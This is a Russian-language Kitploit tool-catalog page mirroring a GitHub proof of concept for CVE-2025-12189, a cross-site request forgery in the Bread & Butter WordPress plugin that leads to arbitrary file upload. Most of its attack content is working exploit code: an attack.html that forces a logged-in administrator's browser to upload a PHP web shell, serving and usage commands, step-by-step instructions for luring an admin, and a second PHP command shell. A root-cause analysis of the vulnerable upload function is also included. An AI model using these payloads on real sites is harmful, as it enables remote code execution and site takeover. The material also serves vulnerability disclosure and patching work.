Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-12189 — Bread & Butter: ограничение контента + сбор лидов + сбор данных first-party + взращивание лидов с помощью ИИ-агентов <= 7.10.1321 — межсайтовая подделка запроса, приводящая к произвольной загрузке файлов | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-12189
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubd0n601/cve-2025-12189

CVE-2025-12189

Bread & Butter: ограничение контента + сбор лидов + сбор данных first-party + взращивание лидов с помощью ИИ-агентов <= 7.10.1321 — межсайтовая подделка запроса, приводящая к произвольной загрузке файлов

Репозиторий
9 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Bread & Butter: ограничение контента + захват лидов + сбор данных первой стороны + взаимодействие с ИИ-агентами <= 7.10.1321 - Межсайтовая подделка запроса (CSRF) до произвольной загрузки файлов

Плагин Bread & Butter IO содержит уязвимость в функциональности загрузки изображений, которая позволяет любому атакующему обманом заставить аутентифицированных администраторов загружать произвольные файлы на сервер, включая PHP-веб-шеллы, что приводит к удалённому выполнению кода (RCE). Уязвимость возникает из-за отсутствия CSRF-защиты в функции uploadImage(), что позволяет атакующим создавать вредоносные запросы, которые браузеры администраторов будут автоматически выполнять.

Уязвимость присутствует в функции uploadImage() в файле /bread-butter/src/Base/Ajax.php, в которой отсутствуют надлежащая проверка файлов и CSRF-защита; при этом используется file_put_contents() для записи файлов напрямую в каталог загрузок WordPress до выполнения каких-либо проверок безопасности.

TL;DR Эксплойты

  • Ниже приведён POC attack.html, демонстрирующий эксплуатацию загрузки файлов на основе CSRF.
  • Также приведён более реалистичный пример: email-lure.html

Вот простой attack.html:

root@kitploit:~
<!DOCTYPE html>
<html>
<body>
    <button onclick="exploit()">CSRF Attack</button>
    <script>
        function exploit() {
            const form = document.createElement('form');
            form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
            form.method = 'POST';
            form.enctype = 'multipart/form-data';
            form.target = '_blank';
            form.style.display = 'none';
            
            // Action field
            const action = document.createElement('input');
            action.name = 'action';
            action.value = 'upload_image';
            form.appendChild(action);
            
            // File field
            const file = document.createElement('input');
            file.type = 'file';
            file.name = 'file';
            const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
            const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
            const dt = new DataTransfer();
            dt.items.add(phpFile);
            file.files = dt.files;
            form.appendChild(file);
            
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

Для POC вы можете запустить его локально примерно так:

root@kitploit:~
# Serve the CSRF exploit
python3 -m http.server 1337

# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Если в браузере жертвы выполнен вход администратора, переход по ссылке приводит к RCE.

Детали уязвимости

Анализ первопричины

Уязвимость присутствует в функции uploadImage() в строке 411 файла /bread-butter/src/Base/Ajax.php:

root@kitploit:~
public function uploadImage() {
    $this->checkAdmin();                   
    $file = $_FILES['file'];               

    $type = $file['type'];                 
    $name = $file['name'];                
    $image_url = $file['tmp_name'];        

    $upload_dir = wp_upload_dir();         
    $image_data = file_get_contents($image_url);
    $filename = basename($name); 

    
    if (wp_mkdir_p($upload_dir['path'])) {
        $file = $upload_dir['path'] . '/' . $filename;    
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }

    file_put_contents($file, $image_data);  // Attacker get's file moved to acessable storage!

    // Post-upload processing (after vulnerability is exploited)
    $wp_filetype = wp_check_filetype($filename, null); 
    // ... rest of function
}

Регистрация AJAX-обработчика

Уязвимая функция регистрируется как AJAX-обработчик WordPress в строке 95:

root@kitploit:~
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));

Здесь self::$uploadImage определяется как upload_image в строке 37.

Проверка авторизации

Единственным средством безопасности является метод checkAdmin() в строках 166-171:

root@kitploit:~
public function checkAdmin() {
    if (!current_user_can('manage_options')) {
        echo 0;
        wp_die();
    }
}

Эксплуатация CSRF

Отсутствие CSRF-защиты делает эту уязвимость эксплуатируемой с помощью атак межсайтовой подделки запроса (CSRF). POC attack.html демонстрирует это следующим образом:

  1. Создание вредоносной формы, нацеленной на AJAX-эндпоинт WordPress
  2. Использование target="_blank" для обхода ограничений CORS
  3. Встраивание PHP-веб-шелла непосредственно в HTML/JavaScript
  4. Автоматическая отправка формы при нажатии жертвой кнопки

Воспроизведение вручную

Эксплуатация CSRF до RCE

  1. Создайте HTML-страницу с CSRF-пейлоадом (см. attack.html)
  2. Разместите страницу на любом веб-сервере (подконтрольном атакующему)
  3. Обманом заставьте администратора посетить вредоносную страницу
  4. Браузер администратора автоматически отправит форму
  5. Вредоносный файл будет загружен на его сайт WordPress
  6. Получите доступ к загруженному шеллу по адресу /wp-content/uploads/[year]/[month]/test.php?cmd=whoami

Прямая эксплуатация (требуется администратор)

  1. Войдите в панель администратора WordPress с правами администратора
  2. Перейдите в настройки плагина Bread & Butter
  3. Используйте функциональность загрузки изображений или отправьте прямой AJAX-запрос на /wp-admin/admin-ajax.php
  4. Загрузите PHP-файл с вредоносным содержимым:
root@kitploit:~
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
} else {
    echo "Shell ready. Use ?cmd=command";
}
?>
  1. Получите доступ к загруженному файлу по адресу /wp-content/uploads/[year]/[month]/[filename].php
Скачать инструмент